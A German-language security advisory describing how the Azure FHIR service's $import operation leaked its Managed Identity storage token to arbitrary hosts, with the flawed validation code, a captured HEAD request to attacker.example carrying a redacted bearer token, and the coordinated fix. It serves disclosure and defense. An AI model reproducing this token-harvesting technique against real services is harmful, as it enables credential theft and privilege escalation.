$import gibt das Zugriffstoken der Dienstidentität preis

Die $import-Operation nimmt eine Liste von URLs zu NDJSON-Dateien entgegen. In den betroffenen Versionen prüfte ImportController lediglich, ob jede input.url absolut war und keinen Query-String enthielt. Eine Beschränkung auf bestimmte Hosts oder Storage-Accounts fehlte.

foreach (var item in input)
{
    if (!string.IsNullOrEmpty(item.Type) && !Enum.IsDefined(typeof(ResourceType), item.Type))
    {
        throw new RequestNotValidException(string.Format(Resources.UnsupportedResourceType, item.Type));
    }

    if (item.Url == null || !item.Url.IsAbsoluteUri || !string.IsNullOrEmpty(item.Url.Query))
    {
        throw new RequestNotValidException(string.Format(Resources.ImportRequestValueNotValid, "input.url"));
    }
}

Der Import-Orchestrator reichte jede URL unverändert an einen Storage-BlobClient weiter. Dieser authentifizierte sich mit der Managed Identity des FHIR-Dienstes.

public Task<BlobClient> GetAuthorizedBlobClientAsync(Uri blobUri)
{
    EnsureArg.IsNotNull(blobUri, nameof(blobUri));
    return Task.FromResult(new BlobClient(blobUri, CreateManagedIdentityCredential()));
}

Das Storage-SDK sendete das Bearer-Token der Managed Identity bereits mit der ersten ausgehenden HEAD-Anfrage, ohne eine 401-Challenge abzuwarten. Es verlangte HTTPS, beschränkte aber nicht den Zielhost.

Das aufgezeichnete Token war für https://storage.azure.com/ bestimmt und rund 24 Stunden gültig. Im Test hatte die Dienstidentität die Rolle Storage Blob Data Contributor auf dem Account, der sowohl für Import als auch für Export konfiguriert war. In anderen Installationen können dafür getrennte Accounts mit anderen Rollenzuweisungen verwendet werden.

HEAD /pt.ndjson HTTP/1.1
Host: attacker.example
x-ms-version: 2025-05-05
User-Agent: azsdk-net-Storage.Blobs/12.24.1 (.NET 8.0.25; Microsoft Azure Linux 3.0)
Authorization: Bearer eyJ0eXAiOiJKV1Q...<redacted>

# decoded token claims (anti-replay fields omitted):
#   aud       = https://storage.azure.com/                        (Azure Storage data-plane)
#   xms_mirid = /subscriptions/.../fhirservices/<fhir-service>     (the impersonated FHIR Managed Identity)
#   exp - iat = 86700s (~24h)

Die Azure-Quell-IP, der User-Agent des Storage-SDK und der Claim xms_mirid im Token belegten die Herkunft aus dem verwalteten FHIR-Dienst. Gemäß den MSRC-Testregeln wurde das Token aufgezeichnet, aber nicht für Zugriffe auf Azure Storage verwendet.

Die Schwachstelle überwindet die Trennung zwischen FHIR- und Storage-Berechtigungen: Der Aufrufer besaß nur FHIR Data Importer, das abgefangene Token repräsentierte jedoch die Storage-Rolle des Dienstes. Das Abfangen wurde am 19. April 2026 in einer eigenen Test-Subscription bestätigt und am 21. April erneut verifiziert.

Die Meldung ging im April 2026 an MSRC (Fall 113959). Microsoft bestätigte das Verhalten und rollte den Fix vor der Veröffentlichung aus. PR #5536 prüft Quell-URLs vor dem Anlegen eines Import-Jobs gegen den konfigurierten Storage-Account. Das beschränkt auch die Ziele des verwandten Zugriffs auf FHIR-Daten. Eine CVE wurde nicht vergeben. Wir danken MSRC für die koordinierte Offenlegung.